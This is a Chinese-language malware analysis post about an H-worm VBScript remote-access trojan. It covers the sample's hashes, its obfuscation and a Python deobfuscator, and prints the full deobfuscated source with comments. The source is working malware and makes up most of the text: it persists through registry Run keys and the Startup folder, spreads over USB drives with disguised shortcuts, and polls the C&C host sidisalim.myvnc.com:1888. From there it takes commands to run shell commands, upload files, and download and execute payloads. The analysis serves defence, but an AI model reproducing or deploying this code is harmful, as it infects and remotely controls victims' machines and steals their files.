> 文章列表 > 一例H-worm vbs脚本分析

一例H-worm vbs脚本分析

一例H-worm vbs脚本分析

样本的基本信息

MD5: c750a5bb8d9aa5a58c27956b897cf102
SHA1: e14994b9e32a3e267947cac36fb3036d9d22be21
SHA256: 1eb712d4976babf7c8cd0b34015c2701bc5040420e688911e6614b278cc82a42
SHA512: b1921c1dc7e8cf075882755be48c0d9636858cd7913188cb6c9ca6e7e741f049c143a79c6835ef93adc6eb30cebb3a67764aebdaa344a8ec22de6fff959661f0
CRC32: 88c48f9a

分析环境

  • vscode
  • python3
  • PrimalScript

分析过程

用notepad++打开脚本后,发现这是一个混淆后的脚本,主要的代码在anas变量中

anas = "3981899982..." '混淆后的代码
anas = SPLIT(anas,"81899982838") '拆分
FOR X = 0 TO UBOUND(anas) -1 '遍历将数字转成asc码
Xmy = Xmy & ChrW(anas(X))
NEXT
EXECUTE (Xmy) '执行代码

去混淆

参考上面的逻辑编写python脚本对anas变量进行去混淆

data = open("anas.txt",'r').read()
data = data.strip().split("81899982838")
data1 = ''
for x in data:if x.isnumeric():data1 += chr(int(x))
open('1.vbs','w').write(data1)

样本分析

经过分析,这个样本的主要逻辑如下图所示,这是一个木马,通过U盘传播,感染主机后要定时向后台请求命令执行,通过CC域名可能匹配到该样本属于H-worm家族。

一例H-worm vbs脚本分析

代码中主要的函数功能

一例H-worm vbs脚本分析

详细的分析结果见代码注释

'<[ recoder : houdini (c) skype : houdini-fx ]>'=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=' 配置' C&C服务器的域名
host = "sidisalim.myvnc.com" 
' C&C服务器的端口
port = 1888 '安装的路径
installdir = "%temp%" ' 开关变量,是否创建文件的快捷方式
lnkfile = true
'开关变量,是否创建文件夹的的快捷方式
lnkfolder = true'=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=' 全局变量' shell对象,用于执行命令
dim shellobj set shellobj = wscript.createobject("wscript.shell")' 文件系统对象,用于操作文件
dim filesystemobjset filesystemobj = createobject("scripting.filesystemobject")' http对象,用于网络请求
dim httpobjset httpobj = createobject("msxml2.xmlhttp")'=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=
'私有变量' 当前文件的名字 1.vbsinstallname = wscript.scriptname' 系统的startup目录 C:\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\
startup = shellobj.specialfolders ("startup") & "\\"'临时目录 C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\
installdir = shellobj.expandenvironmentstrings(installdir) & "\\"if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\\"' split=<|>
spliter = "<" & "|" & ">"sleep = 5000 dim responsedim cmddim paraminfo = ""usbspreading = ""startdate = ""' 自身的文件对象
dim oneonce'=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=
' 如果后面的程序出现"运行时错误"时,会继续运行,不中断
on error resume next' 感染系统 添加开机启动项
instancewhile true' 感染当前系统和可移动存储介质installresponse = ""' 向后台发送is-ready消息,并返回要执行的指令response = post ("is-ready","")' 从POST响应中的解析出指令cmd = split (response,spliter)select case cmd (0)case "excecute" ' 执行命令param = cmd (1)execute paramcase "update" ' 更新自身param = cmd (1)oneonce.close' 写入新文件set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)oneonce.write paramoneonce.close' 运行新文件shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)wscript.quit case "uninstall" ' 删除自身uninstallcase "send" '从后台下载文件执行download cmd (1),cmd (2)case "site-send" '从其它站点下载文件执行sitedownloader cmd (1),cmd (2)case "recv" '向后台上传文件param = cmd (1)upload (param)case  "enum-driver" '获取驱动器信息post "is-enum-driver",enumdriver  case  "enum-faf" '遍历指定的目录param = cmd (1)post "is-enum-faf",enumfaf (param)case  "enum-process" '获取系统进程列表post "is-enum-process",enumprocess   case  "cmd-shell" '执行命令返回结果param = cmd (1)post "is-cmd-shell",cmdshell (param)  case  "delete" '删除指定的文件或目录param = cmd (1)deletefaf (param) case  "exit-process" 'kill指定pid的进程param = cmd (1)exitprocess (param) case  "sleep" '设置轮询的间隔时间param = cmd (1)sleep = eval (param)    end selectwscript.sleep sleepwend' 感染当前系统和可移动存储介质
sub installon error resume nextdim lnkobjdim filenamedim foldernamedim fileicondim foldericon' 写注册表 设置开机启动项 拷贝自身到temp和startup目录下upstart' 遍历驱动器 关于filesysobj可参考https://blog.csdn.net/chuhe163/article/details/103538947for each drive in filesystemobj.drivesif  drive.isready = true thenif  drive.freespace  > 0 then ' 磁盘上可用空间大于0if  drive.drivetype  = 1 then '1代表可移动' 把自己拷贝到可移动的驱动器根目录下filesystemobj.copyfile wscript.scriptfullname , drive.path & "\\" & installname,true' 若拷贝成功if  filesystemobj.fileexists (drive.path & "\\" & installname)  then' 设置文件属性为 隐藏和系统文件 FILE_ATTRIBUTE_HIDDEN=2 FILE_ATTRIBUTE_SYSTEM=4filesystemobj.getfile(drive.path & "\\"  & installname).attributes = 2+4end if' 遍历可移动存储驱动器根目录下的文件for each file in filesystemobj.getfolder( drive.path & "\\" ).Filesif not lnkfile then exit for' 若文件名中含有.if  instr (file.name,".") then' 若当前文件不是.lnk文件if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then' 将文件属性设置为 隐藏+系统文件file.attributes = 2+4' 不是脚本自身if  ucase (file.name) <> ucase (installname) thenfilename = split(file.name,".")' 创建一个同当前文件同名的快捷方式 可参考 https://www.jb51.net/shouce/script56/Script56_chs/html/wsprowindowstyle.htmset lnkobj = shellobj.createshortcut (drive.path & "\\"  & filename (0) & ".lnk") ' 最小化窗口并激活下一个顶级窗口。lnkobj.windowstyle = 7lnkobj.targetpath = "cmd.exe"lnkobj.workingdirectory = ""' cmd.exe /c start 1.vbs & start filename & exit 先执行1.vbs 再打开当前文件lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit"' 从注册表中读取当前文件后缀默认的打开程序的icon 如.zip使用winrar打开 ' HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\WinRAR\\DefaultIcon' 值为"C:\\\\Program Files\\\\WinRAR\\\\WinRAR.exe,0"fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\\software\\classes\\" & shellobj.regread ("HKEY_LOCAL_MACHINE\\software\\classes\\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\\") & "\\defaulticon\\") ' 修改快捷方式的图标为当前文件的图标if  instr (fileicon,",") = 0 thenlnkobj.iconlocation = file.pathelse lnkobj.iconlocation = fileiconend if' 保存快捷方式lnkobj.save()end ifend ifend ifnext' 遍历移动驱动器根目录下的子目录for each folder in filesystemobj.getfolder( drive.path & "\\" ).subfoldersif not lnkfolder then exit for' 将当前文件夹 属性设置为hide 和systemfolder.attributes = 2+4foldername = folder.name' 创建一个同名的快捷方式set lnkobj = shellobj.createshortcut (drive.path & "\\"  & foldername & ".lnk") ' 最小化运行lnkobj.windowstyle = 7lnkobj.targetpath = "cmd.exe"lnkobj.workingdirectory = ""' 打开快捷方式执行 cmd.exe /c start 1.vbs &start exporer 当前目录 &exitlnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit"' 将快捷方式的图标设置为文件夹图标foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\\software\\classes\\folder\\defaulticon\\") if  instr (foldericon,",") = 0 thenlnkobj.iconlocation = folder.pathelse lnkobj.iconlocation = foldericonend if' 保存快捷方式lnkobj.save()nextend Ifend Ifend ifnexterr.clearend sub' 删除自身,删除USB设备的快捷方式 恢复文件和目录
sub uninstallon error resume nextdim filenamedim foldername'删除注册表中的开机启动项shellobj.regdelete "HKEY_CURRENT_USER\\software\\microsoft\\windows\\currentversion\\run\\" & split (installname,".")(0)shellobj.regdelete "HKEY_LOCAL_MACHINE\\software\\microsoft\\windows\\currentversion\\run\\" & split (installname,".")(0)'删除startup目录中的副本filesystemobj.deletefile startup & installname ,true'删除自身filesystemobj.deletefile wscript.scriptfullname ,true'遍历当前系统驱动器for  each drive in filesystemobj.drivesif  drive.isready = true thenif  drive.freespace  > 0 then'找到USB设备if  drive.drivetype  = 1 thenfor  each file in filesystemobj.getfolder ( drive.path & "\\").fileson error resume next'若文件名中含有.if  instr (file.name,".") then'对于非.lnk文件if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then'设置文件为可见file.attributes = 0'对于非自身副本的文件if  ucase (file.name) <> ucase (installname) thenfilename = split(file.name,".")'删除同名的.lnk文件filesystemobj.deletefile (drive.path & "\\" & filename(0) & ".lnk" )else'删除自身副本filesystemobj.deletefile (drive.path & "\\" & file.name)end Ifelse'删除.lnk文件filesystemobj.deletefile (file.path) end ifend ifnext'遍历文件夹for each folder in filesystemobj.getfolder( drive.path & "\\" ).subfolders'将文件夹设置为可见folder.attributes = 0nextend ifend ifend ifnext'退出wscript.quitend sub' 向控制服务器发送post请求 cmd为uri,返回响应
function post (cmd ,param)post = paramhttpobj.open "post","http://" & host & ":" & port &"/" & cmd, false'user-agent为系统信息  逻辑驱动器序列号<|>计算机名<|>当前用户名<|>操作系统名<|>plus<|>系统的杀软列表<|>是否从usb中感染 - 感染日期httpobj.setrequestheader "user-agent:",information ' 发送负载httpobj.send parampost = httpobj.responsetextend function' 获取系统信息 逻辑驱动器序列号<|>计算机名<|>当前用户名<|>操作系统名<|>plus<|>系统的杀软列表<|>是否从usb中感染 - 感染日期
function informationon error resume nextif  inf = "" theninf = hwid & spliter ' 逻辑驱动器序列号inf = inf  & shellobj.expandenvironmentstrings("%computername%") & spliter ' 计算机名inf = inf  & shellobj.expandenvironmentstrings("%username%") & spliter ' 当前用户名' 可参考 https://blog.csdn.net/shellching/article/details/16983957set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\\\.\\root\\cimv2")'获取当前操作系统名set os = root.execquery ("select * from win32_operatingsystem")for each osinfo in osinf = inf & osinfo.caption & spliter  '获取当前操作系统名exit fornextinf = inf & "plus" & spliterinf = inf & security & spliter ' 获取系统的杀软列表inf = inf & usbspreading ' 是否在usb设备中运行 和 日期information = inf  elseinformation = infend ifend function' 写注册表 设置开机启动项 拷贝自身到temp和startup目录下
sub upstart ()on error resume Next'写注册表 HKEY_CURRENT_USER\\software\\microsoft\\windows\\currentversion\\run\\1  wscript.exe //B "C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\1.vbs"shellobj.regwrite "HKEY_CURRENT_USER\\software\\microsoft\\windows\\currentversion\\run\\" & split (installname,".")(0),  "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"'写注册表 HKEY_LOCAL_MACHINE\\software\\microsoft\\windows\\currentversion\\run\\1  wscript.exe //B "C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\1.vbs"shellobj.regwrite "HKEY_LOCAL_MACHINE\\software\\microsoft\\windows\\currentversion\\run\\" & split (installname,".")(0),  "wscript.exe //B "  & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"' 把当前文件拷贝到 C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\1.vbsfilesystemobj.copyfile wscript.scriptfullname,installdir & installname,true' 把当前文件拷贝到 startup目录下 C:\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\1.vbsfilesystemobj.copyfile wscript.scriptfullname,startup & installname ,trueend sub' 获取逻辑磁盘序列号
function hwidon error resume nextset root = getobject("winmgmts:{impersonationlevel=impersonate}!\\\\.\\root\\cimv2")'使用WMI枚举所有逻辑磁盘信息set disks = root.execquery ("select * from win32_logicaldisk")for each disk in disks' 序列号if  disk.volumeserialnumber <> "" thenhwid = disk.volumeserialnumberexit forend ifnextend function' 获取系统中安装的杀软列表
function security on error resume nextsecurity = ""set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\\\.\\root\\cimv2")set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)for each objitem in colitemsversionstr = split (objitem.version,".")nextversionstr = split (colitems.version,".")osversion = versionstr (0) & "."for  x = 1 to ubound (versionstr)osversion = osversion &  versionstr (i)nextosversion = eval (osversion)if  osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"set objsecuritycenter = getobject("winmgmts:\\\\localhost\\root\\" & sc)' 获取当前系统的杀软系统Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)for each objantivirus in colantivirussecurity  = security  & objantivirus.displayname & " ."nextif security  = "" then security  = "nan-av"end function' 感染系统 添加开机启动项
function instance' 如果后面的程序出现"运行时错误"时,会继续运行,不中断on error resume next' 读取注册表项 HKEY_LOCAL_MACHINE\\software\\1\\ 的内容usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\\software\\" & split (installname,".")(0) & "\\")if usbspreading = "" then '若为空' 若当前的vbs文件在驱动器的根目录下if lcase ( mid(wscript.scriptfullname,2)) = ":\\" &  lcase(installname) then' usbspreding 设置为 "true - 当前日期"usbspreading = "true - " & date'写注册表 HKEY_LOCAL_MACHINE\\software\\1\\shellobj.regwrite "HKEY_LOCAL_MACHINE\\software\\" & split (installname,".")(0)  & "\\",  usbspreading, "REG_SZ"else' usbspreding 设置为 "false - 当前日期"usbspreading = "false - " & date'写注册表 HKEY_LOCAL_MACHINE\\software\\1\\ shellobj.regwrite "HKEY_LOCAL_MACHINE\\software\\" & split (installname,".")(0)  & "\\",  usbspreading, "REG_SZ"end ifend If' 设置开机启动项,将自身拷贝到 tmp和startup目录下upstartset scriptfullnameshort =  filesystemobj.getfile (wscript.scriptfullname)set installfullnameshort =  filesystemobj.getfile (installdir & installname)' 若当前文件在临时目录,执行临时目录的脚本if  lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34)wscript.quit end Iferr.clear' 打开 tmp目录下的自己set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false)' 若文件不存在退出 if  err.number > 0 then wscript.quitend functionsub sitedownloader (fileurl,filename)strlink = fileurlstrsaveto = installdir & filenameset objhttpdownload = createobject("msxml2.xmlhttp" )objhttpdownload.open "get", strlink, falseobjhttpdownload.sendset objfsodownload = createobject ("scripting.filesystemobject")'若文件已经存在,删除if  objfsodownload.fileexists (strsaveto) thenobjfsodownload.deletefile (strsaveto)end if'保存文件if objhttpdownload.status = 200 thendim  objstreamdownloadset  objstreamdownload = createobject("adodb.stream")with objstreamdownload.type = 1 .open.write objhttpdownload.responsebody.savetofile strsaveto.closeend withset objstreamdownload = nothingend if'若文件存在,运行if objfsodownload.fileexists(strsaveto) thenshellobj.run objfsodownload.getfile (strsaveto).shortpathend if end sub'从后台下载文件执行 
'fileurl为文件名
'filedir为文件要保存的路径
sub download (fileurl,filedir)if filedir = "" then filedir = installdirend if'文件保存的路径strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\\") + 1)set objhttpdownload = createobject("msxml2.xmlhttp")'post http://sidisalim.myvnc.com:1888/is-sending<|>fileurlobjhttpdownload.open "post","http://" & host & ":" & port &"/" & "is-sending" & spliter & fileurl, falseobjhttpdownload.send ""set objfsodownload = createobject ("scripting.filesystemobject")'若文件已经存在,删除之if  objfsodownload.fileexists (strsaveto) thenobjfsodownload.deletefile (strsaveto)end if' http状态码为200的话if  objhttpdownload.status = 200 thendim  objstreamdownloadset  objstreamdownload = createobject("adodb.stream")'将http的响应保存为文件with objstreamdownload .type = 1 .open.write objhttpdownload.responsebody.savetofile strsaveto.closeend withset objstreamdownload  = nothingend if'若文件存在,运行文件if objfsodownload.fileexists(strsaveto) thenshellobj.run objfsodownload.getfile (strsaveto).shortpathend if end sub' 向后台上传文件
function upload (fileurl)dim  httpobj,objstreamuploade,bufferset  objstreamuploade = createobject("adodb.stream")with objstreamuploade .type = 1 .open.loadfromfile fileurlbuffer = .read.closeend withset objstreamdownload = nothingset httpobj = createobject("msxml2.xmlhttp")' http://sidisalim.myvnc.com:1888/is-recving<|>文件名httpobj.open "post","http://" & host & ":" & port &"/" & "is-recving" & spliter & fileurl, falsehttpobj.send bufferend function' 遍历驱动器
function enumdriver ()for  each drive in filesystemobj.drivesif   drive.isready = true thenenumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliterend ifnextend Function'遍历指定目录
function enumfaf (enumdir)enumfaf = enumdir & spliterfor  each folder in filesystemobj.getfolder (enumdir).subfoldersenumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliternextfor  each file in filesystemobj.getfolder (enumdir).filesenumfaf = enumfaf & file.name & "|" & file.size  & "|" & "f" & "|" & file.attributes & spliternextend function'遍历主机的进程
function enumprocess ()on error resume nextset objwmiservice = getobject("winmgmts:\\\\.\\root\\cimv2")set colitems = objwmiservice.execquery("select * from win32_process",,48)dim objitemfor each objitem in colitemsenumprocess = enumprocess & objitem.name & "|"enumprocess = enumprocess & objitem.processid & "|"enumprocess = enumprocess & objitem.executablepath & spliternextend function'kill指定Pid的进程
sub exitprocess (pid)on error resume nextshellobj.run "taskkill /F /T /PID " & pid,7,trueend sub'删除文件或目录
sub deletefaf (url)on error resume nextfilesystemobj.deletefile urlfilesystemobj.deletefolder urlend sub'执行命令返回结果 
function cmdshell (cmd)dim httpobj,oexec,readallfromanyset oexec = shellobj.exec ("%comspec% /c " & cmd)if not oexec.stdout.atendofstream thenreadallfromany = oexec.stdout.readallelseif not oexec.stderr.atendofstream thenreadallfromany = oexec.stderr.readallelse readallfromany = ""end ifcmdshell = readallfromanyend function

参考资料

  • H-WORM:简单而活跃的远控木马